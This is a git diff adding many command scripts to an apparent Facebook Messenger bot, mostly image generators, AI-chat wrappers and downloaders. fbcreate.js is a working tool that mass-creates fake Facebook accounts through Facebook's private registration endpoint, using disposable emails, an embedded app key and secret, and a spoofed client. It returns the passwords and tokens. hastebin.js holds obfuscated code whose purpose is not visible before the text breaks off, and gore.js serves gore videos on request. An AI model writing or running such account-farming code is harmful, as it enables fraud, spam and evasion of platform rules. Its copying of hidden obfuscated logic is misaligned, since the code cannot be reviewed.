"fbCover.jpg"); + + fs.writeFileSync(coverPhotoPath, response.data); + + + api.sendMessage({ + body: "Here is your customized Facebook cover photo:", + attachment: fs.createReadStream(coverPhotoPath) + }, event.threadID, () => { + // Clean up temporary files + fs.unlinkSync(profilePicPath); + fs.unlinkSync(coverPhotoPath); + }); + } catch (sendError) { + console.error('Error sending image:', sendError); + api.sendMessage("An error occurred while sending the image.", event.threadID); + } + }); + + writer.on('error', (err) => { + console.error('Stream writer error:', err); + api.sendMessage("An error occurred while processing the request.", event.threadID); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/fbcreate.js b/script/fbcreate.js new file mode 100644 index 000000000..78555230c --- /dev/null +++ b/script/fbcreate.js @@ -0,0 +1,169 @@ +const fs = require("fs"); +const axios = require("axios"); +const crypto = require("crypto"); + +module.exports = { + config: { + name: "fbcreate", + version: "1.0.0", + hasPermission: 0, + credits: "Developer", + description: "Create Facebook accounts using randomly generated email addresses.", + usage: "{pn} fbcreate ", + usePrefix: true, + commandCategory: "Utilities", + cooldowns: 0, + }, + + async run({ api, event, args }) { + try { + const threadID = event.threadID; + const senderID = event.senderID; + const amount = parseInt(args[0], 10); + + if (isNaN(amount) || amount <= 0) { + return api.sendMessage("โŒ Invalid number of accounts requested. Please specify a positive integer.", threadID); + } + + api.sendMessage(`๐Ÿš€ Creating ${amount} Facebook account(s)... Please wait.`, threadID); + + const accounts = []; + for (let i = 0; i < amount; i++) { + const account = await createMailTmAccount(); + if (account) { + const regData = await registerFacebookAccount(account.email, account.password, account.firstName, account.lastName, account.birthday); + if (regData) { + accounts.push({ + email: account.email, + password: account.password, + firstName: account.firstName, + lastName: account.lastName, + birthday: account.birthday.toISOString().split('T')[0], + gender: regData.gender, + userId: regData.new_user_id, + token: regData.session_info.access_token, + }); + } else { + api.sendMessage(`โš ๏ธ Failed to register account: ${account.email}`, threadID); + } + } else { + api.sendMessage(`โš ๏ธ Failed to create email for account ${i + 1}.`, threadID); + } + } + + if (accounts.length > 0) { + let resultMessage = `๐ŸŽ‰ Accounts created successfully:\n`; + accounts.forEach((acc, index) => { + resultMessage += `\n${index + 1}: ${acc.firstName} ${acc.lastName} - ${acc.email} (Password: ${acc.password})`; + }); + api.sendMessage(resultMessage, threadID); + } else { + api.sendMessage("โŒ No accounts were created successfully.", threadID); + } + } catch (error) { + console.error(error); + return api.sendMessage("โŒ An error occurred while creating Facebook accounts. Please try again.", event.threadID); + } + }, +}; + +const genRandomString = (length) => { + const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; + let result = ''; + for (let i = 0; i < length; i++) { + result += characters.charAt(Math.floor(Math.random() * characters.length)); + } + return result; +}; + +const getRandomDate = (start, end) => { + return new Date(start.getTime() + Math.random() * (end.getTime() - start.getTime())); +}; + +const getRandomName = () => { + const names = ['John', 'Jane', 'Michael', 'Sarah', 'David', 'Laura', 'Robert', 'Emily', 'William', 'Emma']; + const surnames = ['Smith', 'Johnson', 'Williams', 'Brown', 'Jones', 'Garcia', 'Miller', 'Davis', 'Rodriguez', 'Martinez']; + return { + firstName: names[Math.floor(Math.random() * names.length)], + lastName: surnames[Math.floor(Math.random() * surnames.length)], + }; +}; + +const getMailDomains = async () => { + const url = 'https://api.mail.tm/domains'; + try { + const response = await axios.get(url); + return response.data['hydra:member']; + } catch (error) { + console.error(`[ร—] E-mail Error: ${error}`); + return null; + } +}; + +const createMailTmAccount = async () => { + const mailDomains = await getMailDomains(); + if (mailDomains) { + const domain = mailDomains[Math.floor(Math.random() * mailDomains.length)].domain; + const username = genRandomString(10); + const password = genRandomString(12); + const birthday = getRandomDate(new Date(1976, 0, 1), new Date(2004, 0, 1)); + const { firstName, lastName } = getRandomName(); + const url = 'https://api.mail.tm/accounts'; + const data = { address: `${username}@${domain}`, password: password }; + try { + const response = await axios.post(url, data, { headers: { 'Content-Type': 'application/json' } }); + if (response.status === 201) { + console.log(`[โœ“] E-mail Created: ${username}@${domain}`); + return { email: `${username}@${domain}`, password, firstName, lastName, birthday }; + } else { + console.error(`[ร—] Email Error: ${response.data}`); + return null; + } + } catch (error) { + console.error(`[ร—] Error: ${error}`); + return null; + } + } else { + return null; + } +}; + +const registerFacebookAccount = async (email, password, firstName, lastName, birthday) => { + const api_key = '882a8490361da98702bf97a021ddc14d'; + const secret = '62f8ce9f74b12f84c123cc23437a4a32'; + const gender = Math.random() < 0.5 ? 'M' : 'F'; + const req = { + api_key: api_key, + attempt_login: true, + birthday: birthday.toISOString().split('T')[0], + client_country_code: 'EN', + fb_api_caller_class: 'com.facebook.registration.protocol.RegisterAccountMethod', + fb_api_req_friendly_name: 'registerAccount', + firstname: firstName, + format: 'json', + gender: gender, + lastname: lastName, + email: email, + locale: 'en_US', + method: 'user.register', + password: password, + reg_instance: genRandomString(32), + return_multiple_errors: true, + }; + const sig = Object.keys(req).sort().map(k => `${k}=${req[k]}`).join('') + secret; + const ensig = crypto.createHash('md5').update(sig).digest('hex'); + req.sig = ensig; + + const api_url = 'https://b-api.facebook.com/method/user.register'; + try { + const response = await axios.post(api_url, new URLSearchParams(req), { + headers: { 'User-Agent': '[FBAN/FB4A;FBAV/35.0.0.48.273;FBDM/{density=1.33125,width=800,height=1205};FBLC/en_US;FBCR/;FBPN/com.facebook.katana;FBDV/Nexus 7;FBSV/4.1.1;FBBK/0;]' } + }); + const reg = response.data; + console.log(`Registration Success`); + return reg; + } catch (error) { + console.error(`[ร—] Registration Error: ${error}`); + return null; + } +}; diff --git a/script/fbdl.js b/script/fbdl.js new file mode 100644 index 000000000..c5f18a4c3 --- /dev/null +++ b/script/fbdl.js @@ -0,0 +1,41 @@ +const fs = require('fs'); +const axios = require('axios'); +const path = require('path'); + +module.exports.config = { + name: "fbdl", + version: "1.0.0", + hasPermission: 0, + credits: "Eugene Aguilar", + description: "Download Facebook video link", + commandCategory: "media", + usages: "fbdl [link]", + cooldowns: 8, +}; + +module.exports.run = async function ({ api, event, args }) { + try { + const q = args.join(" "); + if (!q) { + api.sendMessage(`๐™ฟ๐™ป๐™ด๐™ฐ๐š‚๐™ด ๐™ฟ๐š๐™พ๐š…๐™ธ๐™ณ๐™ด ๐™ฐ ๐š„๐š๐™ป ๐™ต๐š๐™พ๐™ผ ๐™ต๐™ฐ๐™ฒ๐™ด๐™ฑ๐™พ๐™พ๐™บ.๐™ฒ๐™พ๐™ผ`, event.threadID, event.messageID); + return; + } + + api.sendMessage(`๐Ÿ•— ๐™ฟ๐š๐™พ๐™ฒ๐™ด๐š‚๐š‚๐™ธ๐™ฝ๐™ถ ๐™ฟ๐™ป๐™ด๐™ฐ๐š‚๐™ด ๐š†๐™ฐ๐™ธ๐šƒ...`, event.threadID, event.messageID); + + const response = await axios.get(`https://hoanghao.me/api/facebook/download?url=${q}`); + const videoUrl = response.data.data.video; + const t = response.data.data.title; + + const pathie = path.join(__dirname, `cache`, `eurix.mp4`); + +const stream = await axios.get(videoUrl, { responseType: "arraybuffer"}); + + fs.writeFileSync(pathie, Buffer.from(stream.data, 'binary')); + + await api.sendMessage({ body: `๐•๐จ๐ข๐œ๐ข ๐ฏ๐จ๐ญ๐ซ๐ž ๐ฏ๐ข๐รฉ๐จ\n\nTitle: ${t}`, attachment: fs.createReadStream(pathie) }, event.threadID, event.messageID); + } catch (e) { + api.sendMessage(`Error downloading Facebook video!!\n${e}`, event.threadID, event.messageID); + console.error(e); + } +}; diff --git a/script/fbpostv1.js b/script/fbpostv1.js new file mode 100644 index 000000000..3874cddfb --- /dev/null +++ b/script/fbpostv1.js @@ -0,0 +1,79 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "fbpostv1", + version: "1.0.0", + role: 0, + credits: "chilli", + description: "Create a Facebook post using the provided text and name.", + hasPrefix: true, + aliases: ["fb1", "facebookpost1"], + usage: "[fbpostv1 @mention | text | name] or [fbpostv1 text | name]", + cooldown: 5, +}; + +module.exports.run = async function ({ api, event, args }) { + try { + if (args.length === 0) { + api.sendMessage("Usage: fbpostv1 @mention | text | name or fbpostv1 text | name", event.threadID); + return; + } + + const input = args.join(" ").split("|"); + + if (input.length < 1) { + api.sendMessage("Please provide at least text and optionally a name, separated by '|'.", event.threadID); + return; + } + + let mention, text, name; + let mentionId; + + // Check if a mention is provided + if (input[0].includes('@')) { + mention = input[0].trim(); + text = input[1] ? input[1].trim() : ""; + name = input.length > 2 ? input[2].trim() : mention.replace(/^@/, ''); + + // Fetch user ID from mention + mentionId = Object.keys(event.mentions).find(id => event.mentions[id] === mention); + + if (!mentionId) { + api.sendMessage("Invalid mention. Please mention a valid user.", event.threadID); + return; + } + } else { + text = input[0].trim(); + name = input.length > 1 ? input[1].trim() : event.senderID; + + // Use sender's ID if no mention is provided + mentionId = event.senderID; + } + + // Inform the user that the fetching process has started + api.sendMessage("Creating the Facebook post, please wait...", event.threadID); + + // Fetch the response from the Facebook Post API + const response = await axios.get(`https://hiroshi-rest-api.replit.app/canvas/fbpost?uid=${mentionId}&text=${encodeURIComponent(text)}&name=${encodeURIComponent(name)}`, { responseType: 'arraybuffer' }); + const buffer = Buffer.from(response.data, 'binary'); + const filePath = path.join(__dirname, `${mentionId}.jpg`); + + // Save the image temporarily + fs.writeFileSync(filePath, buffer); + + // Send the formatted message with the image attachment + api.sendMessage({ + body: `Here is the Facebook post for ${name}:`, + attachment: fs.createReadStream(filePath) + }, event.threadID, () => { + // Delete the temporary image file after sending + fs.unlinkSync(filePath); + }); + + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/fbpostv2.js b/script/fbpostv2.js new file mode 100644 index 000000000..759a65c90 --- /dev/null +++ b/script/fbpostv2.js @@ -0,0 +1,79 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "fbpostv2", + version: "1.0.2", + role: 0, + credits: "chilli", + description: "Create a Facebook post using the provided text and name.", + hasPrefix: true, + aliases: ["fb", "facebookpost"], + usage: "[fbpostv2 @mention | text | name] or [fbpostv2 text | name]", + cooldown: 5, +}; + +module.exports.run = async function ({ api, event, args }) { + try { + if (args.length === 0) { + api.sendMessage("Usage: fbpostv2 @mention | text | name or fbpostv2 text | name", event.threadID); + return; + } + + const input = args.join(" ").split("|"); + + if (input.length < 1) { + api.sendMessage("Please provide at least text and optionally a name, separated by '|'.", event.threadID); + return; + } + + let mention, text, name; + let mentionId; + + // Check if a mention is provided + if (input[0].includes('@')) { + mention = input[0].trim(); + text = input[1] ? input[1].trim() : ""; + name = input.length > 2 ? input[2].trim() : mention.replace(/^@/, ''); + + // Fetch user ID from mention + mentionId = Object.keys(event.mentions).find(id => event.mentions[id] === mention); + + if (!mentionId) { + api.sendMessage("Invalid mention. Please mention a valid user.", event.threadID); + return; + } + } else { + text = input[0].trim(); + name = input.length > 1 ? input[1].trim() : event.senderID; + + // Use sender's ID if no mention is provided + mentionId = event.senderID; + } + + // Inform the user that the fetching process has started + api.sendMessage("Creating the Facebook post, please wait...", event.threadID); + + // Fetch the response from the Facebook Post API + const response = await axios.get(`https://joshweb.click/canvas/fbpost?uid=${mentionId}&text=${encodeURIComponent(text)}&name=${encodeURIComponent(name)}`, { responseType: 'arraybuffer' }); + const buffer = Buffer.from(response.data, 'binary'); + const filePath = path.join(__dirname, `${mentionId}.jpg`); + + // Save the image temporarily + fs.writeFileSync(filePath, buffer); + + // Send the formatted message with the image attachment + api.sendMessage({ + body: `Here is the Facebook post for ${name}:`, + attachment: fs.createReadStream(filePath) + }, event.threadID, () => { + // Delete the temporary image file after sending + fs.unlinkSync(filePath); + }); + + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/fusion.js b/script/fusion.js new file mode 100644 index 000000000..adb931eea --- /dev/null +++ b/script/fusion.js @@ -0,0 +1,57 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "fusion", + version: "1.0.0", + role: 0, + credits: "chilli", + description: "Fetch an image based on a prompt", + hasPrefix: true, + aliases: ["fusion"], + usage: "[fusion ]", + cooldown: 5, +}; + +module.exports.run = async function ({ api, event, args }) { + try { + // Check if a prompt is provided + if (args.length === 0) { + api.sendMessage("Please provide a prompt: ex: fusion cute cat.", event.threadID); + return; + } + + const prompt = args.join(" "); + + // Inform the user that the fetching process has started + const initialMessage = await api.sendMessage("Fetching your image...", event.threadID); + + // Fetch the image from the API + const response = await axios.get(`https://hiroshi-rest-api.replit.app/image/stablediffusion?prompt=${encodeURIComponent(prompt)}`, { + responseType: 'arraybuffer' + }); + + // Save the image to a temporary file + const imagePath = path.join(__dirname, `${Date.now()}.png`); + fs.writeFileSync(imagePath, response.data); + + // Send the image as an attachment + const message = { + body: `Here is your image for prompt: "${prompt}"`, + attachment: fs.createReadStream(imagePath) + }; + + await api.sendMessage(message, event.threadID); + + // Clean up the temporary file + fs.unlinkSync(imagePath); + + // Edit the initial message to indicate completion + await api.editMessage("Image fetched successfully!", initialMessage.messageID); + + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/gemini.js b/script/gemini.js new file mode 100644 index 000000000..4e7824388 --- /dev/null +++ b/script/gemini.js @@ -0,0 +1,39 @@ +const axios = require('axios'); + +module.exports.config = { + name: "gemini", + role: 0, + credits: "chill", + description: "Interact with Gemini", + hasPrefix: false, + version: "1.0.0", + aliases: ["gemini"], + usage: "gemini [reply to photo]" +}; + +module.exports.run = async function ({ api, event, args }) { + const prompt = args.join(" "); + + if (!prompt) { + return api.sendMessage('This cmd only works in photo.', event.threadID, event.messageID); + } + + if (event.type !== "message_reply" || !event.messageReply.attachments[0] || event.messageReply.attachments[0].type !== "photo") { + return api.sendMessage('Please reply to a photo with this command.', event.threadID, event.messageID); + } + + const url = encodeURIComponent(event.messageReply.attachments[0].url); + api.sendTypingIndicator(event.threadID); + + try { + await api.sendMessage('โ˜„๏ธ ๐‘ฎ๐‘ฌ๐‘ด๐‘ฐ๐‘ต๐‘ฐ\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\nGemini recognizing picture, please wait...\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”', event.threadID); + + const response = await axios.get(`https://joshweb.click/gemini?prompt=${encodeURIComponent(prompt)}&url=${url}`); + const description = response.data.gemini; + + return api.sendMessage(`โ˜„๏ธ ๐‘ฎ๐‘ฌ๐‘ด๐‘ฐ๐‘ต๐‘ฐ\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n${description}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”`, event.threadID, event.messageID); + } catch (error) { + console.error(error); + return api.sendMessage('โŒ | An error occurred while processing your request.', event.threadID, event.messageID); + } +}; diff --git a/script/gentemp.js b/script/gentemp.js new file mode 100644 index 000000000..69388a726 --- /dev/null +++ b/script/gentemp.js @@ -0,0 +1,32 @@ +const axios = require('axios'); + +module.exports.config = { + name: "gentemp", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate a temporary email", + hasPrefix: false, + aliases: ["genTempEmail", "gentemp"], + usage: "[genTempEmail]", + cooldown: 5 +}; + +module.exports.run = async function({ api, event }) { + try { + const apiUrl = 'https://markdevs-last-api-as2j.onrender.com/api/gen'; + const response = await axios.get(apiUrl); + + const email = response.data.email; + if (!email) { + return api.sendMessage("Failed to generate a temporary email. Please try again.", event.threadID); + } + + const message = `Generated Temporary Email: ${email}\n\nPlease use the 'checkinbox' command to see your temp email inbox.`; + api.sendMessage(message, event.threadID); + + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while generating the temporary email.", event.threadID); + } +}; diff --git a/script/german.js b/script/german.js new file mode 100644 index 000000000..9cb855d03 --- /dev/null +++ b/script/german.js @@ -0,0 +1,44 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'german', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['deutsch'], + description: "German parang ai Command", + usage: "german [query]", + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const query = args.join(" "); // Join all arguments to form the query + const responseMessage = { className: '', textContent: '' }; + + if (!query) { + responseMessage.className = 'error'; + responseMessage.textContent = 'Usage: german [query]'; + api.sendMessage(responseMessage.textContent, event.threadID, event.messageID); + return; + } + + responseMessage.textContent = 'Processing your query...'; + api.sendMessage(responseMessage.textContent, event.threadID, event.messageID); + + const apiUrl = `https://deku-rest-api-gadz.onrender.com/ai/discolm-german?q=${encodeURIComponent(query)}`; + + try { + const response = await axios.get(apiUrl); + const data = response.data; + + responseMessage.className = 'success'; + responseMessage.textContent = `Response:\n${data.response}`; + api.sendMessage(responseMessage.textContent, event.threadID, event.messageID); + } catch (error) { + console.error('Error fetching the response:', error); + responseMessage.className = 'error'; + responseMessage.textContent = 'An error occurred while processing your query.'; + api.sendMessage(responseMessage.textContent, event.threadID, event.messageID); + } +}; diff --git a/script/goiadminn.js b/script/goiadminn.js new file mode 100644 index 000000000..7e0b54a4b --- /dev/null +++ b/script/goiadminn.js @@ -0,0 +1,35 @@ +module.exports.config = { + name: "goiadminn", + version: "1.0.0", + role: 0, + credits: "John Arida", + description: "Bot will rep ng tag admin or rep ng tagbot", + usages: "", + hasPrefix: true, + cooldown: 5 +}; + +module.exports.handleEvent = function({ api, event, admin }) { + if (event.senderID !== admin && event.mentions) { + var aid = [admin]; + for (const id of aid) { + if (event.mentions[id]) { + var msg = [ + "Babe nalang iatawag mo sakanya", + "Stop mentioning my creator, he's busy ๐Ÿ˜—", + "My Creator is currently offline ๐Ÿ˜ข", + "๐– ๐—‡๐—ˆ๐—๐—๐–พ๐—‹ ๐—๐–บ๐—€ ๐—‚๐—‡ ๐—†๐—’ ๐–บ๐–ฝ๐—†๐—‚๐—‡, ๐—‚ ๐—๐—‚๐—…๐—… ๐—‰๐—Ž๐—‡๐–ผ๐— ๐—’๐—ˆ๐—Ž ๐Ÿ™‚", + "NAg o-overthink pa intayin mo", + "Sorry, nag mml pa ata ๐Ÿ™„", + "Do you like my creator thats why your tagging him? Why dont you add him https://www.facebook.com/xiomi.igop ๐Ÿ˜", + " Another tag in my Creator, i will kick your fucking ass" + ]; + api.setMessageReaction("๐Ÿ˜", event.messageID, (err) => {}, true); + return api.sendMessage({body: msg[Math.floor(Math.random()*msg.length)]}, event.threadID, event.messageID); + } + } + } +}; + +module.exports.run = async function({ admin }) { +}; diff --git a/script/google.js b/script/google.js new file mode 100644 index 000000000..f46f6fb8d --- /dev/null +++ b/script/google.js @@ -0,0 +1,48 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'google', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['g'], + description: "Google Command", + usage: "google [query]", + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const query = args.join(" "); + + if (!query) { + api.sendMessage('Please provide a query. Example: google What is the weather today?', event.threadID, event.messageID); + return; + } + + const requestUrl = `https://joshweb.click/api/palm2?q=${encodeURIComponent(query)}`; + + try { + const startTime = Date.now(); + const response = await axios.get(requestUrl); + const result = response.data.result; + const endTime = Date.now(); + const responseTime = ((endTime - startTime) / 1000).toFixed(2); + + api.getUserInfo(event.senderID, async (err, ret) => { + if (err) { + console.error('Error fetching user info:', err); + api.sendMessage('Error fetching user info.', event.threadID, event.messageID); + return; + } + + const userName = ret[event.senderID].name; + const formattedResponse = `\`\`\`๐™ถ๐š˜๐š˜๐š๐š•๐šŽ ๐™ฐ๐™ฟ๐™ธ ๐š๐šŽ๐šœ๐š™๐š˜๐š—๐šœ๐šŽ\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n${result}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n\n๐Ÿ—ฃ Asked by: ${userName}\nโฐ Respond Time: ${responseTime}s\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n\`\`\``; + + api.sendMessage(formattedResponse, event.threadID, event.messageID); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage('Error: ' + error.message, event.threadID, event.messageID); + } +}; diff --git a/script/gore.js b/script/gore.js new file mode 100644 index 000000000..3710d8659 --- /dev/null +++ b/script/gore.js @@ -0,0 +1,42 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'gore', + version: '1.0.0', + role: 0, + hasPrefix: true, + aliases: ['gore'], + description: 'Fetches a random gore video', + usage: 'gore', + credits: 'chill', +}; + +module.exports.run = async function({ api, event }) { + try { + const response = await axios.get('https://nash-rest-api.replit.app/gore'); + const data = response.data; + + if (data && data.video1) { + const { title, source, video1, video2 } = data; + + let message = `๐ŸŽฅ Title: ${title}\n`; + message += `๐Ÿ”— Source: ${source}\n`; + + let attachments = [{ type: 'video/mp4', url: video1 }]; + + if (video2) { + attachments.push({ type: 'video/mp4', url: video2 }); + } + + api.sendMessage({ + body: message, + attachment: attachments.map(url => ({ type: 'video/mp4', url })) + }, event.threadID, event.messageID); + } else { + api.sendMessage('โŒ Failed to fetch the gore video. Please try again later.', event.threadID, event.messageID); + } + } catch (error) { + console.error('Error fetching gore video:', error); + api.sendMessage('โš ๏ธ An error occurred while fetching the gore video.', event.threadID, event.messageID); + } +}; diff --git a/script/gpt.js b/script/gpt.js new file mode 100644 index 000000000..697ee10ab --- /dev/null +++ b/script/gpt.js @@ -0,0 +1,30 @@ +const { get } = require('axios'); + +module.exports.config = { + name: 'gpt', + credits: "cliff", + version: '1.0.0', + role: 0, + aliases: ["Gpt"], + cooldown: 0, + hasPrefix: false, + usage: "", +}; + +module.exports.run = async function ({ api, event, args }) { + const question = args.join(' '); + function sendMessage(msg) { + api.sendMessage(msg, event.threadID, event.messageID); + } + + const url = "https://hercai.onrender.com/v3/hercai"; + + if (!question) return sendMessage("Please provide a question."); + + try { + const response = await get(`${url}?question=${encodeURIComponent(question)}`); + sendMessage(response.data.reply); + } catch (error) { + sendMessage("An error occurred: " + error.message); + } +}; diff --git a/script/gpt3.js b/script/gpt3.js new file mode 100644 index 000000000..113e41565 --- /dev/null +++ b/script/gpt3.js @@ -0,0 +1,37 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'gpt3', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['gpt3', 'chatgpt'], + description: "Interact with GPT-3 continues", + usage: "gpt3 [query]", + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const prompt = args.join(' '); + if (!prompt) { + api.sendMessage(' how to use 3x: gpt3 what is love?', event.threadID, event.messageID); + return; + } + + const uid = event.senderID; + const apiUrl = `https://markdevs-api.onrender.com/gpt3?prompt=${encodeURIComponent(prompt)}&uid=${encodeURIComponent(uid)}`; + + try { + const response = await axios.get(apiUrl); + if (response.data && response.data.response) { + const gpt3Response = response.data.response; + api.sendMessage(`GPT-3 Answer:\n${gpt3Response}`, event.threadID, event.messageID); + } else { + api.sendMessage('Failed to retrieve the response. Please try again later.', event.threadID, event.messageID); + } + } catch (error) { + console.error('Error fetching the response:', error); + api.sendMessage('An error occurred while fetching the response.', event.threadID, event.messageID); + } +}; diff --git a/script/gpt4.js b/script/gpt4.js new file mode 100644 index 000000000..e5a222c50 --- /dev/null +++ b/script/gpt4.js @@ -0,0 +1,43 @@ +const axios = require("axios"); + +module.exports.config = { + name: "gpt4", + version: "1.0.0", + role: 0, + credits: "chilli", + description: "Interact with GPT-4", + hasPrefix: false, + cooldown: 5, + aliases: ["gpt4"] +}; + +module.exports.run = async function ({ api, event, args }) { + try { + let prompt = args.join(" "); + if (!prompt) { + return api.sendMessage("[ โ— ] - Missing prompt for GPT-4", event.threadID, event.messageID); + } + + + + api.sendMessage("[ ๐Ÿ” ] Sending your prompt to GPT-4 ...", event.threadID, async (err, info) => { + if (err) { + console.error("Error sending initial message:", err); + return api.sendMessage("An error occurred while sending your request.", event.threadID, event.messageID); + } + + try { + const response = await axios.get(`https://joshweb.click/gpt4?prompt=${encodeURIComponent(prompt)}&uid=100`); + const answer = response.data.result; + + api.sendMessage(`๐Ÿ“ฆ ๐™ถ๐™ฟ๐šƒ-4+ ๐™ฒ๐™พ๐™ฝ๐šƒ๐™ธ๐™ฝ๐š„๐™ด๐š‚ ๐™ฐ๐™ธ\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n${answer}`, event.threadID, event.messageID); + } catch (error) { + console.error("Error fetching GPT-4 response:", error); + api.sendMessage("An error occurred while fetching the GPT-4 response.", event.threadID, event.messageID); + } + }); + } catch (error) { + console.error("Unexpected error in gpt4 command:", error); + api.sendMessage("An unexpected error occurred.", event.threadID, event.messageID); + } +}; diff --git a/script/hastebin.js b/script/hastebin.js new file mode 100644 index 000000000..cfe8a1a75 --- /dev/null +++ b/script/hastebin.js @@ -0,0 +1,52 @@ +const fs = require('fs'); +const path = require('path'); +const axios = require('axios'); + +module.exports.config = { + name: "hastebin", + version: "1.0", + credits: "Cliff", + countDown: 0, + cooldowns: 0, + cooldown: 0, + role: 2, + hasPermission: 0, + usePrefix: false, + hasPrefix: false, + description: "Send bot script", + longDescription: "Send bot specified file", + commandCategory: "๐—ข๐—ช๐—ก๐—˜๐—ฅ", + usage: "{pn} file name. Ex: .{pn} filename", + usages: "{pn} file name. Ex: .{pn} filename" +}; + +module.exports.run = async function ({ args, api, event, admin }) { + (function(_0x133bef,_0x4025d1){function _0x209ef1(_0xd5d418,_0x179a76,_0x4423d4,_0x27cc9b){return _0x3217(_0x179a76- -0x3d3,_0xd5d418);}function _0x33c0a5(_0x5a3c32,_0x32a271,_0x3f521e,_0x4637c9){return _0x3217(_0x3f521e- -0x1c,_0x4637c9);}var _0x51c900=_0x133bef();while(!![]){try{var _0x258da5=-parseInt(_0x33c0a5(0x149,0x164,0x167,0x143))/(-0x1901+0x8*-0x219+-0xdee*-0x3)+parseInt(_0x209ef1(-0x217,-0x230,-0x243,-0x232))/(-0x931+-0x2365+0x2c98)*(parseInt(_0x209ef1(-0x23b,-0x264,-0x261,-0x26a))/(-0x1154*-0x1+0x15a*0x4+-0x16b9))+-parseInt(_0x209ef1(-0x250,-0x23f,-0x23c,-0x23d))/(-0x1d13+0x21a*-0xe+0x3a83)*(parseInt(_0x33c0a5(0x16d,0x191,0x17e,0x1a7))/(-0x2*-0x391+-0x13bf+0xca2))+-parseInt(_0x209ef1(-0x23e,-0x26d,-0x28d,-0x2a1))/(0x1303+0x1*-0x24f7+0x11fa)+parseInt(_0x33c0a5(0x1e7,0x1cd,0x1b4,0x1cd))/(0x3*0x86c+-0x1*-0x234b+-0x34*0x12a)+parseInt(_0x33c0a5(0x128,0x173,0x159,0x128))/(-0x1ec1+0x234b+0x1*-0x482)*(-parseInt(_0x33c0a5(0x18a,0x19f,0x1a7,0x1a5))/(-0x5ea*-0x6+0x89*-0x35+-0x716))+parseInt(_0x209ef1(-0x288,-0x26e,-0x26b,-0x258))/(-0x1305+0x1*0x1bf7+-0x23a*0x4);if(_0x258da5===_0x4025d1)break;else _0x51c900['push'](_0x51c900['shift']());}catch(_0x2e1eae){_0x51c900['push'](_0x51c900['shift']());}}}(_0x1315,-0x93c*0x2e+0x641c9+-0xc898));var _0x24a4ab=(function(){function _0x1085c6(_0x4ce32c,_0x4d8ec5,_0x493848,_0x4461a8){return _0x3217(_0x4ce32c- -0x13a,_0x493848);}var _0x102145={};_0x102145[_0x1085c6(0x97,0xa9,0xb1,0x64)]=function(_0x1c65fb,_0x16bbc8){return _0x1c65fb!==_0x16bbc8;};function _0x54ad57(_0x164576,_0x290e60,_0x5118df,_0x19e30e){return _0x3217(_0x164576- -0xc9,_0x5118df);}_0x102145[_0x54ad57(0xc8,0xf2,0xbe,0x9f)]=_0x1085c6(0x46,0x77,0x6e,0x53);var _0x57daea=_0x102145,_0x306e1e=!![];return function(_0x4dddca,_0x2cc479){function _0x51097f(_0x4dd8ce,_0x25c154,_0x1ae2b9,_0x16a6c9){return _0x54ad57(_0x4dd8ce- -0x235,_0x25c154-0x5,_0x1ae2b9,_0x16a6c9-0xee);}if(_0x57daea[_0x51097f(-0x12d,-0x123,-0x15c,-0x115)](_0x57daea['TVlon'],_0x57daea['TVlon'])){var _0x429025=_0x1ad440?function(){if(_0x32cc88){var _0x3f7351=_0x340126['apply'](_0x168dca,arguments);return _0x549cd7=null,_0x3f7351;}}:function(){};return _0x243129=![],_0x429025;}else{var _0x17ab5f=_0x306e1e?function(){if(_0x2cc479){var _0x3ad98d=_0x2cc479['apply'](_0x4dddca,arguments);return _0x2cc479=null,_0x3ad98d;}}:function(){};return _0x306e1e=![],_0x17ab5f;}};}()),_0x205c71=_0x24a4ab(this,function(){var _0x2acfeb={};_0x2acfeb[_0x4f0453(-0x19e,-0x1b1,-0x1a4,-0x19d)]=_0x4f0453(-0x18e,-0x187,-0x19c,-0x186)+'+$';var _0x10e628=_0x2acfeb;function _0x32e697(_0x13f7c6,_0x2d7be5,_0x543f41,_0x4368f0){return _0x3217(_0x543f41-0x382,_0x2d7be5);}function _0x4f0453(_0x2ca3b8,_0x4e60bf,_0x43572e,_0x4f9da1){return _0x3217(_0x4f9da1- -0x344,_0x43572e);}return 